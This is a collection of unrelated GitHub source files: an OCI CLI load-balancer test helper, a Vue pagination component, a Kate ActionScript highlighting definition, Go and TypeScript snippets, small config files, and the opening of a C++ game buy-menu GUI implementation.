'listener', 'delete',
'--load-balancer-id', load_balancer_id,
'--listener-name', listener_name,
'--force',
'--wait-for-state', 'SUCCEEDED'
]
result = invoke(runner, config_file, config_profile, params)
_validate_work_request_result(result, load_balancer_id)
def _validate_work_request_result(result, load_balancer_id):
util.validate_response(result, json_response_expected=False)
assert 'Action completed. Waiting until the work request has entered state:' in result.output
work_request = util.get_json_from_mixed_string(result.output)
assert work_request['data']['load-balancer-id'] == load_balancer_id
assert work_request['data']['lifecycle-state'] == 'SUCCEEDED'
def invoke(runner, config_file, config_profile, params, debug=False, root_params=None, strip_progress_bar=True, strip_multipart_stderr_output=True, ** args):
root_params = root_params or []
if debug is True:
result = runner.invoke(oci_cli.cli, root_params + ['--debug', '--config-file', config_file, '--profile', config_profile, 'lb'] + params, ** args)
else:
result = runner.invoke(oci_cli.cli, root_params + ['--config-file', config_file, '--profile', config_profile, 'lb'] + params, ** args)
return result
|
{
"pile_set_name": "Github"
}
|
<template>
<div>
<div class="page-container">
<a href="javascript:;" @click="updatePage(page - 1)" :class="page === 1? 'disabled': ''"><img :src="`${baseUrl}/assets/images/page-prev.svg`"/></a>
<a href="javascript:;" @click="updatePage(1)" :class="page === 1? 'disabled': ''">First page</a>
<a href="javascript:;" @click="updatePage(i)" :class="'page-number ' + (page === i? 'underline disabled': 'underline')" v-for="i in pageRange">{{i}}</a>
<span v-show="hasMore">...</span>
<a href="javascript:;" @click="updatePage(lastPage)" :class="page === lastPage? 'disabled': '' ">Last page</a>
<a href="javascript:;" @click="updatePage(page + 1)" :class="page === lastPage? 'disabled': '' "><img :src="`${baseUrl}/assets/images/page-next.svg`"/></a>
</div>
</div>
</template>
<script>
import _ from 'lodash'
export default {
name: 'HalitePagination',
props: {
page: {
type: Number,
required: true
},
lastPage: {
type: Number,
required: true
},
baseUrl: {
type: String,
required: true
},
changePage: {
type: Function,
required: true
}
},
data: function () {
return {
hasMore: false
}
},
computed: {
pageRange: function () {
if (this.lastPage <= 6) {
this.hasMore = false
return _.range(1, this.lastPage + 1)
} else {
if (this.page <= 3) {
this.hasMore = true
return _.range(1, 7)
} else if (this.page >= this.lastPage - 3) {
this.hasMore = false
return _.range(this.lastPage - 5, this.lastPage + 1)
} else {
this.hasMore = true
return _.range(this.page - 2, this.page + 4)
}
}
}
},
methods: {
updatePage: function (page) {
if (page > this.lastPage || page === this.page || page < 1) return
this.changePage(page)
}
}
}
</script>
<style lang="scss" scoped>
.page-container {
text-align: center;
span {
margin-right: 5px;
}
a {
margin-right: 10px;
color: #B4E6FF;
img {
height: 18px;
}
&.page-number {
display: inline-block;
width: 27px;
height: 27px;
line-height: 30px;
}
&.underline {
text-decoration: underline;
}
&.disabled {
text-decoration: none;
cursor: text;
opacity: 0.5;
&.page-number{
background-color: rgba(216,216,216,.2);
opacity: 1;
}
}
}
}
</style>
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE language SYSTEM "language.dtd">
<language name="ActionScript 2.0" version="3" kateversion="5.0" section="Sources" extensions="*.as" mimetype="text/x-actionscript" license="LGPL" author="Aaron Miller (armantic101@gmail.com)">
<highlighting>
<list name="properties">
<item>_accProps</item>
<item>_focusrect</item>
<item>_global</item>
<item>_highquality</item>
<item>_level</item>
<item>_parent</item>
<item>_quality</item>
<item>_root</item>
<item>_soundbuftime</item>
<item>maxscroll</item>
<item>scroll</item>
<item>this</item>
</list>
<list name="global_functions">
<item>asfunction</item>
<item>call</item>
<item>chr</item>
<item>clearInterval</item>
<item>duplicateMovieClip</item>
<item>escape</item>
<item>eval</item>
<item>fscommand</item>
<item>getProperty</item>
<item>getTimer</item>
<item>getURL</item>
<item>getVersion</item>
<item>gotoAndPlay</item>
<item>gotoAndStop</item>
<item>ifFrameLoaded</item>
<item>int</item>
<item>isFinite</item>
<item>isNaN</item>
<item>length</item>
<item>loadMovie</item>
<item>loadMovieNum</item>
<item>loadVariables</item>
<item>loadVariablesNum</item>
<item>mbchr</item>
<item>mblength</item>
<item>mbord</item>
<item>mbsubstring</item>
<item>nextFrame</item>
<item>nextScene</item>
<item>on</item>
<item>onClipEvent</item>
<item>ord</item>
<item>parseFloat</item>
<item>parseInt</item>
<item>play</item>
<item>prevFrame</item>
<item>prevScene</item>
<item>print</item>
<item>printAsBitmap</item>
<item>printAsBitmapNum</item>
<item>printNum</item>
<item>random</item>
<item>removeMovieClip</item>
<item>setInterval</item>
<item>setProperty</item>
<item>showRedrawRegions</item>
<item>startDrag</item>
<item>stop</item>
<item>stopAllSounds</item>
<item>stopDrag</item>
<item>substring</item>
<item>targetPath</item>
<item>tellTarget</item>
<item>toggleHighQuality</item>
<item>trace</item>
<item>typeof</item>
<item>unescape</item>
<item>unloadMovie</item>
<item>unloadMovieNum</item>
<item>updateAfterEvent</item>
</list>
<list name="classes">
<item>Accessibility</item>
<item>Accordion</item>
<item>Alert</item>
<item>Binding</item>
<item>Button</item>
<item>Camera</item>
<item>CellRenderer</item>
<item>CheckBox</item>
<item>Collection</item>
<item>Color</item>
<item>ComboBox</item>
<item>ComponentMixins</item>
<item>ContextMenu</item>
<item>ContextMenuItem</item>
<item>CustomActions</item>
<item>CustomFormatter</item>
<item>CustomValidator</item>
<item>DataGrid</item>
<item>DataHolder</item>
<item>DataProvider</item>
<item>DataSet</item>
<item>DataType</item>
<item>Date</item>
<item>DateChooser</item>
<item>DateField</item>
<item>Delta</item>
<item>DeltaItem</item>
<item>DeltaPacket</item>
<item>DepthManager</item>
<item>EndPoint</item>
<item>Error</item>
<item>FaultEvent</item>
<item>FocusManager</item>
<item>Form</item>
<item>Function</item>
<item>Iterator</item>
<item>Key</item>
<item>Label</item>
<item>List</item>
<item>LoadVars</item>
<item>Loader</item>
<item>LocalConnection</item>
<item>Log</item>
<item>Math</item>
<item>Media</item>
<item>Menu</item>
<item>MenuBar</item>
<item>Microphone</item>
<item>Mouse</item>
<item>MovieClip</item>
<item>MovieClipLoader</item>
<item>NetConnection</item>
<item>NetStream</item>
<item>Number</item>
<item>NumericStepper</item>
<item>PendingCall</item>
<item>PopUpManager</item>
<item>PrintJob</item>
<item>ProgressBar</item>
<item>RDBMSResolver</item>
<item>RadioButton</item>
<item>RelayResponder</item>
<item>SOAPCall</item>
<item>Screen</item>
<item>ScrollPane</item>
<item>Selection</item>
<item>SharedObject</item>
<item>Slide</item>
<item>Sound</item>
<item>Stage</item>
<item>StyleManager</item>
<item>System</item>
<item>TextArea</item>
<item>TextField</item>
<item>TextFormat</item>
<item>TextInput</item>
<item>TextSnapshot</item>
<item>TransferObject</item>
<item>Tree</item>
<item>TreeDataProvider</item>
<item>TypedValue</item>
<item>UIComponent</item>
<item>UIEventDispatcher</item>
<item>UIObject</item>
<item>Video</item>
<item>WebService</item>
<item>WebServiceConnector</item>
<item>Window</item>
<item>XML</item>
<item>XMLConnector</item>
<item>XUpdateResolver</item>
</list>
<list name="keywords">
<item>add</item>
<item>and</item>
<item>break</item>
<item>case</item>
<item>catch</item>
<item>class</item>
<item>continue</item>
<item>default</item>
<item>delete</item>
<item>do</item>
<item>dynamic</item>
<item>else</item>
<item>eq</item>
<item>extends</item>
<item>finally</item>
<item>for</item>
<item>function</item>
<item>ge</item>
<item>get</item>
<item>gt</item>
<item>if</item>
<item>implements</item>
<item>import</item>
<item>in</item>
<item>instanceof</item>
<item>interface</item>
<item>intrinsic</item>
<item>le</item>
<item>lt</item>
<item>ne</item>
<item>new</item>
<item>not</item>
<item>or</item>
<item>private</item>
<item>public</item>
<item>return</item>
<item>set</item>
<item>static</item>
<item>switch</item>
<item>throw</item>
<item>try</item>
<item>var</item>
<item>void</item>
<item>while</item>
<item>with</item>
</list>
<list name="const">
<item>false</item>
<item>Infinity</item>
<item>-Infinity</item>
<item>NaN</item>
<item>newline</item>
<item>null</item>
<item>true</item>
<item>undefined</item>
</list>
<list name="types">
<item>Array</item>
<item>Boolean</item>
<item>Number</item>
<item>Object</item>
<item>String</item>
<item>Void</item>
</list>
<contexts>
<context attribute="Normal Text" lineEndContext="#stay" name="Normal">
<!-- Comment next line if you don't use Javadoc tool -->
<IncludeRules context="##Javadoc"/>
<keyword attribute="Properties" context="#stay" String="properties"/>
<keyword attribute="Global Functions" context="#stay" String="global_functions"/>
<keyword attribute="Classes" context="#stay" String="classes"/>
<keyword attribute="Keyword" context="#stay" String="keywords"/>
<keyword attribute="Constants" context="#stay" String="const"/>
<keyword attribute="Data Type" context="#stay" String="types"/>
<Float attribute="Float" context="Float Suffixes"/>
<HlCOct attribute="Octal" context="#stay"/>
<HlCHex attribute="Hex" context="#stay"/>
<Int attribute="Decimal" context="Int Suffixes"/>
<HlCChar attribute="Char" context="#stay"/>
<RegExpr attribute="Decimal" context="#stay" String="//\s*BEGIN.*$" beginRegion="Region1"/>
<RegExpr attribute="Decimal" context="#stay" String="//\s*END.*$" endRegion="Region1"/>
<DetectChar attribute="String" context="String" char="""/>
<Detect2Chars attribute="Comment" context="Commentar 1" char="/" char1="/"/>
<Detect2Chars attribute="Comment" context="Commentar 2" char="/" char1="*" beginRegion="Comment"/>
<DetectChar attribute="Symbol" context="#stay" char="{" beginRegion="Brace1"/>
<DetectChar attribute="Symbol" context="#stay" char="}" endRegion="Brace1"/>
<RegExpr attribute="Keyword" context="#stay" String="\.{3,3}\s+" />
<RegExpr attribute="Keyword" context="StaticImports" String="\b(import\s+static)\b" />
<RegExpr attribute="Keyword" context="Imports" String="\b(package|import)\b" />
<RegExpr attribute="Function" context="#stay" String="\b[_\w][_\w\d]*(?=[\s]*(/\*\s*\d+\s*\*/\s*)?[(])" />
<RegExpr attribute="Symbol" context="Member" String="[.]{1,1}" />
<AnyChar attribute="Symbol" context="#stay" String=":!%&()+,-/.*<=>?[]|~^;"/>
</context>
<context name="Float Suffixes" attribute="Float" lineEndContext="#pop" fallthrough="true" fallthroughContext="#pop">
<AnyChar String="fF" attribute="Float" context="#pop"/>
</context>
<context name="Int Suffixes" attribute="Decimal" lineEndContext="#pop" fallthrough="true" fallthroughContext="#pop">
<StringDetect attribute="Decimal" context="#pop" String="ULL" insensitive="true"/>
<StringDetect attribute="Decimal" context="#pop" String="LUL" insensitive="true"/>
<StringDetect attribute="Decimal" context="#pop" String="LLU" insensitive="true"/>
<StringDetect attribute="Decimal" context="#pop" String="UL" insensitive="true"/>
<StringDetect attribute="Decimal" context="#pop" String="LU" insensitive="true"/>
<StringDetect attribute="Decimal" context="#pop" String="LL" insensitive="true"/>
<StringDetect attribute="Decimal" context="#pop" String="U" insensitive="true"/>
<StringDetect attribute="Decimal" context="#pop" String="L" insensitive="true"/>
</context>
<context attribute="String" lineEndContext="#pop" name="String">
<LineContinue attribute="String" context="#stay"/>
<HlCStringChar attribute="String Char" context="#stay"/>
<DetectChar attribute="String" context="#pop" char="""/>
</context>
<context attribute="Normal Text" lineEndContext="#pop" name="Member" fallthrough="true" fallthroughContext="#pop">
<RegExpr attribute="Function" context="#pop" String="\b[_a-zA-Z]\w*(?=[\s]*)" />
</context>
<context attribute="Normal Text" lineEndContext="#pop" name="StaticImports">
<RegExpr attribute="StaticImports" context="#pop" String="\s*.*$" />
</context>
<context attribute="Normal Text" lineEndContext="#pop" name="Imports">
<RegExpr attribute="Imports" context="#pop" String="\s*.*$" />
</context>
<context attribute="Comment" lineEndContext="#pop" name="Commentar 1"/>
<context attribute="Comment" lineEndContext="#stay" name="Commentar 2">
<Detect2Chars attribute="Comment" context="#pop" char="*" char1="/" endRegion="Comment"/>
</context>
</contexts>
<itemDatas>
<itemData name="Normal Text" defStyleNum="dsNormal"/>
<itemData name="Keyword" defStyleNum="dsKeyword"/>
<itemData name="Function" defStyleNum="dsFunction"/>
<itemData name="StaticImports" defStyleNum="dsImport"/>
<itemData name="Imports" defStyleNum="dsImport"/>
<itemData name="Data Type" defStyleNum="dsDataType"/>
<itemData name="Decimal" defStyleNum="dsDecVal"/>
<itemData name="Octal" defStyleNum="dsBaseN"/>
<itemData name="Hex" defStyleNum="dsBaseN"/>
<itemData name="Float" defStyleNum="dsFloat"/>
<itemData name="Char" defStyleNum="dsChar"/>
<itemData name="String" defStyleNum="dsString"/>
<itemData name="String Char" defStyleNum="dsSpecialString"/>
<itemData name="Comment" defStyleNum="dsComment"/>
<itemData name="Symbol" defStyleNum="dsNormal"/>
<itemData name="Properties" defStyleNum="dsAttribute" bold="1"/>
<itemData name="Global Functions" defStyleNum="dsFunction" bold="1"/>
<itemData name="Classes" defStyleNum="dsBuiltIn" bold="1"/>
<itemData name="Constants" defStyleNum="dsConstant" bold="1"/>
</itemDatas>
</highlighting>
<general>
<comments>
<comment name="singleLine" start="//"/>
<comment name="multiLine" start="/*" end="*/"/>
</comments>
<keywords casesensitive="1"/>
</general>
</language>
|
{
"pile_set_name": "Github"
}
|
{
"images" : [
{
"idiom" : "universal",
"filename" : "blue_sliderRight.png",
"scale" : "1x"
},
{
"idiom" : "universal",
"scale" : "2x"
},
{
"idiom" : "universal",
"scale" : "3x"
}
],
"info" : {
"version" : 1,
"author" : "xcode"
}
}
|
{
"pile_set_name": "Github"
}
|
// Copyright 2013 The go-github AUTHORS. All rights reserved.
//
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package github
import (
"bytes"
"fmt"
"io"
"reflect"
)
var timestampType = reflect.TypeOf(Timestamp{})
// Stringify attempts to create a reasonable string representation of types in
// the GitHub library. It does things like resolve pointers to their values
// and omits struct fields with nil values.
func Stringify(message interface{}) string {
var buf bytes.Buffer
v := reflect.ValueOf(message)
stringifyValue(&buf, v)
return buf.String()
}
// stringifyValue was heavily inspired by the goprotobuf library.
func stringifyValue(w io.Writer, val reflect.Value) {
if val.Kind() == reflect.Ptr && val.IsNil() {
w.Write([]byte("<nil>"))
return
}
v := reflect.Indirect(val)
switch v.Kind() {
case reflect.String:
fmt.Fprintf(w, `"%s"`, v)
case reflect.Slice:
w.Write([]byte{'['})
for i := 0; i < v.Len(); i++ {
if i > 0 {
w.Write([]byte{' '})
}
stringifyValue(w, v.Index(i))
}
w.Write([]byte{']'})
return
case reflect.Struct:
if v.Type().Name() != "" {
w.Write([]byte(v.Type().String()))
}
// special handling of Timestamp values
if v.Type() == timestampType {
fmt.Fprintf(w, "{%s}", v.Interface())
return
}
w.Write([]byte{'{'})
var sep bool
for i := 0; i < v.NumField(); i++ {
fv := v.Field(i)
if fv.Kind() == reflect.Ptr && fv.IsNil() {
continue
}
if fv.Kind() == reflect.Slice && fv.IsNil() {
continue
}
if sep {
w.Write([]byte(", "))
} else {
sep = true
}
w.Write([]byte(v.Type().Field(i).Name))
w.Write([]byte{':'})
stringifyValue(w, fv)
}
w.Write([]byte{'}'})
default:
if v.CanInterface() {
fmt.Fprint(w, v.Interface())
}
}
}
|
{
"pile_set_name": "Github"
}
|
<!-- YAML
added: v13.3.0
-->
The context must be a `SecureContext`.
<a id="ERR_TLS_INVALID_STATE"></a>
|
{
"pile_set_name": "Github"
}
|
import { IQuery } from '@nestjs/cqrs';
import { ReadWebhookRequest } from '@ultimatebackend/proto-schema/webhook';
import { WebhookRepository } from '@ultimatebackend/repository';
export class ReadWebhookQuery implements IQuery {
constructor(
public readonly input: ReadWebhookRequest,
public readonly repo: WebhookRepository,
) {}
}
|
{
"pile_set_name": "Github"
}
|
#
# STMicroelectronics sensors common library
#
config IIO_ST_SENSORS_I2C
tristate
config IIO_ST_SENSORS_SPI
tristate
config IIO_ST_SENSORS_CORE
tristate
select IIO_ST_SENSORS_I2C if I2C
select IIO_ST_SENSORS_SPI if SPI_MASTER
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="RunConfigurationProducerService">
<option name="ignoredProducers">
<set>
<option value="org.jetbrains.plugins.gradle.execution.test.runner.AllInPackageGradleConfigurationProducer" />
<option value="org.jetbrains.plugins.gradle.execution.test.runner.TestClassGradleConfigurationProducer" />
<option value="org.jetbrains.plugins.gradle.execution.test.runner.TestMethodGradleConfigurationProducer" />
</set>
</option>
</component>
</project>
|
{
"pile_set_name": "Github"
}
|
//////////////////////////////////////////////////////////////////////////////////////////
// File: BuyMenuGUI.cpp
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Implementation file for the BuyMenuGUI class
// Project: GUI Library
// Author(s): Daniel Tabar
// dtabar@datarealms.com
// http://www.datarealms.com
//////////////////////////////////////////////////////////////////////////////////////////
// Inclusions of header files
#include "BuyMenuGUI.h"
#include "FrameMan.h"
#include "PresetMan.h"
#include "ActivityMan.h"
#include "UInputMan.h"
#include "MetaMan.h"
#include "AchievementMan.h"
#include "SettingsMan.h"
#include "GUI/GUI.h"
#include "GUI/AllegroBitmap.h"
#include "GUI/AllegroScreen.h"
#include "GUI/AllegroInput.h"
#include "GUI/GUIControlManager.h"
#include "GUI/GUICollectionBox.h"
#include "GUI/GUITab.h"
#include "GUI/GUIListBox.h"
#include "GUI/GUITextBox.h"
#include "GUI/GUIButton.h"
#include "GUI/GUILabel.h"
#include "DataModule.h"
#include "Controller.h"
#include "SceneObject.h"
#include "MovableObject.h"
#include "MOSprite.h"
#include "HeldDevice.h"
#include "AHuman.h"
#include "ACraft.h"
#include <functional>
using namespace std;
using namespace RTE;
BITMAP *RTE::BuyMenuGUI::s_pCursor = 0;
//////////////////////////////////////////////////////////////////////////////////////////
// Method: Clear
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Clears all the member variables of this BuyMenuGUI, effectively
// resetting the members of this abstraction level only.
void BuyMenuGUI::Clear()
{
m_pController = 0;
m_pGUIScreen = 0;
m_pGUIInput = 0;
m_pGUIController = 0;
m_MenuEnabled = DISABLED;
m_MenuFocus = OK;
m_FocusChange = false;
m_MenuCategory = CRAFT;
m_MenuSpeed = 8.0;
m_ListItemIndex = 0;
m_LastHoveredMouseIndex = 0;
m_BlinkTimer.Reset();
m_BlinkMode = NOBLINK;
m_MenuTimer.Reset();
m_RepeatStartTimer.Reset();
m_RepeatTimer.Reset();
m_pParentBox = 0;
m_pPopupBox = 0;
m_pPopupText = 0;
m_pLogo = 0;
for (int i = 0; i < CATEGORYCOUNT; ++i)
{
m_pCategoryTabs[i] = 0;
m_CategoryItemIndex[i] = 0;
}
m_MetaPlayer = Activity::NOPLAYER;
m_NativeTechModule = 0;
m_ForeignCostMult = 4.0;
int moduleCount = g_PresetMan.GetTotalModuleCount();
m_aExpandedModules = new bool[moduleCount];
for (int i = 0; i < moduleCount; ++i)
m_aExpandedModules[i] = i == 0 ? true : false;
m_pShopList = 0;
m_pCartList = 0;
m_pCraftBox = 0;
m_pCraftCollectionBox = 0;
m_pCraftNameLabel = 0;
m_pCraftPriceLabel = 0;
m_pCraftPassengersCaptionLabel = 0;
m_pCraftPassengersLabel = 0;
m_pCraftMassCaptionLabel = 0;
m_pCraftMassLabel = 0;
m_pSelectedCraft = 0;
m_pCostLabel = 0;
m_pBuyButton = 0;
m_pSaveButton = 0;
m_pClearButton = 0;
m_Loadouts.clear();
m_PurchaseMade = false;
m_CursorPos.Reset();
m_EnterMenuSound.Reset();
m_ExitMenuSound.Reset();
m_FocusChangeSound.Reset();
m_SelectionChangeSound.Reset();
m_ItemChangeSound.Reset();
m_PurchaseMadeSound.Reset();
m_UserErrorSound.Reset();
m_EnforceMaxPassengersConstraint = true;
m_EnforceMaxMassConstraint = true;
m_OnlyShowOwnedItems = false;
m_AllowedItems.clear();
m_AlwaysAllowedItems.clear();
m_OwnedItems.clear();
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: Create
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Makes the BuyMenuGUI object ready for use.
int BuyMenuGUI::Create(Controller *pController)
{
AAssert(pController, "No controller sent to BuyMenyGUI on creation!");
m_pController = pController;
if (!m_pGUIScreen)
m_pGUIScreen = new AllegroScreen(g_FrameMan.GetNetworkBackBufferGUI8Current(pController->GetPlayer()));
if (!m_pGUIInput)
m_pGUIInput = new AllegroInput(pController->GetPlayer());
if (!m_pGUIController)
m_pGUIController = new GUIControlManager();
if(!m_pGUIController->Create(m_pGUIScreen, m_pGUIInput, "Base.rte/GUIs/Skins/Base"))
DDTAbort("Failed to create GUI Control Manager and load it from Base.rte/GUIs/Skins/Base");
m_pGUIController->Load("Base.rte/GUIs/BuyMenuGUI.ini");
m_pGUIController->EnableMouse(pController->IsMouseControlled());
if (!s_pCursor)
{
ContentFile cursorFile("Base.rte/GUIs/Cursor.bmp");
s_pCursor = cursorFile.GetAsBitmap();
}
// Stretch the invisible root box to fill the screen
if (g_FrameMan.IsInMultiplayerMode())
{
dynamic_cast<GUICollectionBox *>(m_pGUIController->GetControl("base"))->SetSize(g_FrameMan.GetPlayerFrameBufferWidth(pController->GetPlayer()), g_FrameMan.GetPlayerFrameBufferHeight(pController->GetPlayer()));
}
else
{
dynamic_cast<GUICollectionBox *>(m_pGUIController->GetControl("base"))->SetSize(g_FrameMan.GetResX(), g_FrameMan.GetResY());
}
// Make sure we have convenient points to teh containing GUI colleciton boxes that we will manipulate the positions of
if (!m_pParentBox)
{
m_pParentBox = dynamic_cast<GUICollectionBox *>(m_pGUIController->GetControl("BuyGUIBox"));
// Set the background settings of the parent collection box
m_pParentBox->SetDrawBackground(true);
m_pParentBox->SetDrawType(GUICollectionBox::Color);
// Set the images for the logo and header decorations
GUICollectionBox *pHeader = dynamic_cast<GUICollectionBox *>(m_pGUIController->GetControl("CatalogHeader"));
m_pLogo = dynamic_cast<GUICollectionBox *>(m_pGUIController->GetControl("CatalogLogo"));
ContentFile headerFile("Base.rte/GUIs/BuyMenuHeader.bmp");
ContentFile logoFile("Base.rte/GUIs/BuyMenuLogo.bmp");
pHeader->SetDrawImage(new AllegroBitmap(headerFile.GetAsBitmap()));
m_pLogo->SetDrawImage(new AllegroBitmap(logoFile.GetAsBitmap()));
pHeader->SetDrawType(GUICollectionBox::Image);
m_pLogo->SetDrawType(GUICollectionBox::Image);
}
m_pParentBox->SetPositionAbs(-m_pParentBox->GetWidth(), 0);
m_pParentBox->SetEnabled(false);
m_pParentBox->SetVisible(false);
if (!m_pPopupBox)
{
m_pPopupBox = dynamic_cast<GUICollectionBox *>(m_pGUIController->GetControl("BuyGUIPopup"));
m_pPopupText = dynamic_cast<GUILabel *>(m_pGUIController->GetControl("PopupText"));
m_pPopupBox->SetDrawType(GUICollectionBox::Panel);
m_pPopupBox->SetDrawBackground(true);
// Never enable the popup, because it steals focus and cuases other windows to think teh cursor left them
m_pPopupBox->SetEnabled(false);
m_pPopupBox->SetVisible(false);
// Set the font
m_pPopupText->SetFont(m_pGUIController->GetSkin()->GetFont("smallfont.bmp"));
}
m_pCategoryTabs[CRAFT] = dynamic_cast<GUITab *>(m_pGUIController->GetControl("CraftTab"));
m_pCategoryTabs[BODIES] = dynamic_cast<GUITab *>(m_pGUIController->GetControl("BodiesTab"));
m_pCategoryTabs[TOOLS] = dynamic_cast<GUITab *>(m_pGUIController->GetControl("ToolsTab"));
m_pCategoryTabs[GUNS] = dynamic_cast<GUITab *>(m_pGUIController->GetControl("GunsTab"));
m_pCategoryTabs[BOMBS] = dynamic_cast<GUITab *>(m_pGUIController->GetControl("BombsTab"));
m_pCategoryTabs[SHIELDS] = dynamic_cast<GUITab *>(m_pGUIController->GetControl("ShieldsTab"));
m_pCategoryTabs[SETS] = dynamic_cast<GUITab *>(m_pGUIController->GetControl("SetsTab"));
m_pShopList = dynamic_cast<GUIListBox *>(m_pGUIController->GetControl("CatalogLB"));
m_pCartList = dynamic_cast<GUIListBox *>(m_pGUIController->GetControl("OrderLB"));
m_pCraftLabel = dynamic_cast<GUILabel *>(m_pGUIController->GetControl("CraftLabel"));
m_pCraftBox = dynamic_cast<GUITextBox *>(m_pGUIController->GetControl("CraftTB"));
m_pCraftCollectionBox = dynamic_cast<GUICollectionBox *>(m_pGUIController->GetControl("CraftCollection"));
m_pCraftNameLabel = dynamic_cast<GUILabel *>(m_pGUIController->GetControl("CraftNameLabel"));
m_pCraftPriceLabel = dynamic_cast<GUILabel *>(m_pGUIController->GetControl("CraftPriceLabel"));
m_pCraftPassengersCaptionLabel = dynamic_cast<GUILabel *>(m_pGUIController->GetControl("CraftPassengersCaptionLabel"));
m_pCraftPassengersLabel = dynamic_cast<GUILabel *>(m_pGUIController->GetControl("CraftPassengersLabel"));
m_pCraftMassCaptionLabel = dynamic_cast<GUILabel *>(m_pGUIController->GetControl("CraftMassCaptionLabel"));
m_pCraftMassLabel = dynamic_cast<GUILabel *>(m_pGUIController->GetControl("CraftMassLabel"));
m_pCostLabel = dynamic_cast<GUILabel *>(m_pGUIController->GetControl("TotalLabel"));
m_pBuyButton = dynamic_cast<GUIButton *>(m_pGUIController->GetControl("BuyButton"));
m_pSaveButton = dynamic_cast<GUIButton *>(m_pGUIController->GetControl("SaveButton"));
m_pClearButton = dynamic_cast<GUIButton *>(m_pGUIController->GetControl("ClearButton"));
m_pSaveButton->SetVisible(false);
m_pClearButton->SetVisible(false);
// Stretch buy menu if in multiplayer mode
if (g_FrameMan.IsInMultiplayerMode())
{
int stretchAmount = g_FrameMan.GetPlayerFrameBufferHeight(pController->GetPlayer()) / 2;
m_pParentBox->SetSize(m_pParentBox->GetWidth(), m_pParentBox->GetHeight() + stretchAmount);
m_pShopList->SetSize(m_pShopList->GetWidth(), m_pShopList->GetHeight() + stretchAmount);
m_pCartList->SetSize(m_pCartList->GetWidth(), m_pCartList->GetHeight() + stretchAmount);
m_pCraftLabel->SetPositionAbs(m_pCraftLabel->GetXPos(), m_pCraftLabel->GetYPos() + stretchAmount);
m_pCraftBox->SetPositionAbs(m_pCraftBox->GetXPos(), m_pCraftBox->GetYPos() + stretchAmount);
m_pCraftCollectionBox->SetPositionAbs(m_pCraftCollectionBox->GetXPos(), m_pCraftCollectionBox->GetYPos() + stretchAmount);
m_pCostLabel->SetPositionAbs(m_pCostLabel->GetXPos(), m_pCostLabel->GetYPos() + stretchAmount);
m_pBuyButton->SetPositionAbs(m_pBuyButton->GetXPos(), m_pBuyButton->GetYPos() + stretchAmount);
}
else
{
// If we're not split screen horizontally, then stretch out the layout for all the relevant controls
int stretchAmount = g_FrameMan.GetResY() / 2;
if (!g_FrameMan.GetHSplit())
{
m_pParentBox->SetSize(m_pParentBox->GetWidth(), m_pParentBox->GetHeight() + stretchAmount);
m_pShopList->SetSize(m_pShopList->GetWidth(), m_pShopList->GetHeight() + stretchAmount);
m_pCartList->SetSize(m_pCartList->GetWidth(), m_pCartList->GetHeight() + stretchAmount);
m_pCraftLabel->SetPositionAbs(m_pCraftLabel->GetXPos(), m_pCraftLabel->GetYPos() + stretchAmount);
m_pCraftBox->SetPositionAbs(m_pCraftBox->GetXPos(), m_pCraftBox->GetYPos() + stretchAmount);
m_pCraftCollectionBox->SetPositionAbs(m_pCraftCollectionBox->GetXPos(), m_pCraftCollectionBox->GetYPos() + stretchAmount);
m_pCostLabel->SetPositionAbs(m_pCostLabel->GetXPos(), m_pCostLabel->GetYPos() + stretchAmount);
m_pBuyButton->SetPositionAbs(m_pBuyButton->GetXPos(), m_pBuyButton->GetYPos() + stretchAmount);
}
}
m_pShopList->SetAlternateDrawMode(true);
m_pCartList->SetAlternateDrawMode(true);
m_pShopList->SetMultiSelect(false);
m_pCartList->SetMultiSelect(false);
// Do this manually with the MoseMoved notifications
// m_pShopList->SetHotTracking(true);
// m_pCartList->SetHotTracking(true);
m_pCraftBox->SetLocked(true);
m_pShopList->EnableScrollbars(false, true);
m_pCartList->EnableScrollbars(false, true);
// Load the loadouts initially.. this might be done again later as well by Activity scripts after they set metaplayer etc
LoadAllLoadoutsFromFile();
// Set initial focus, category list, and label settings
m_MenuFocus = OK;
m_FocusChange = true;
m_MenuCategory = SETS;
CategoryChange();
UpdateTotalCostLabel(m_pController->GetTeam());
UpdateTotalPassengersLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftPassengersLabel);
UpdateTotalMassLabel(dynamic_cast<const ACraft *>(m_pSelectedCraft), m_pCraftMassLabel);
// Reset repeat timers
m_RepeatStartTimer.Reset();
m_RepeatTimer.Reset();
// Interface sounds should not be pitched, to reinforce the appearance of time decoupling between simulation and UI
m_EnterMenuSound.Create("Base.rte/GUIs/Sounds/MenuEnter.wav", false);
m_ExitMenuSound.Create("Base.rte/GUIs/Sounds/MenuExit.wav", false);
m_FocusChangeSound.Create("Base.rte/GUIs/Sounds/Blip00.wav", false);
m_SelectionChangeSound.Create("Base.rte/GUIs/Sounds/Blip01.wav", false);
m_ItemChangeSound.Create("Base.rte/GUIs/Sounds/Click00.wav", false);
// m_PurchaseMadeSound.Create("Base.rte/GUIs/Sounds/MenuEnter.wav", false);
m_UserErrorSound.Create("Base.rte/GUIs/Sounds/Error.wav", false);
return 0;
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: Destroy
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Destroys and resets (through Clear()) the BuyMenuGUI object.
void BuyMenuGUI::Destroy()
{
delete m_pGUIController;
delete m_pGUIInput;
delete m_pGUIScreen;
delete [] m_aExpandedModules;
Clear();
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: SetHeaderImage
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Changes the header image to the one specified in path
void BuyMenuGUI::SetHeaderImage(string path)
{
GUICollectionBox *pHeader = dynamic_cast<GUICollectionBox *>(m_pGUIController->GetControl("CatalogHeader"));
ContentFile headerFile(path.c_str());
pHeader->SetDrawImage(new AllegroBitmap(headerFile.GetAsBitmap()));
pHeader->SetDrawType(GUICollectionBox::Image);
}
//////////////////////////////////////////////////////////////////////////////////////////
// Method: SetLogoImage
//////////////////////////////////////////////////////////////////////////////////////////
// Description: Changes the logo image to the one specified in path
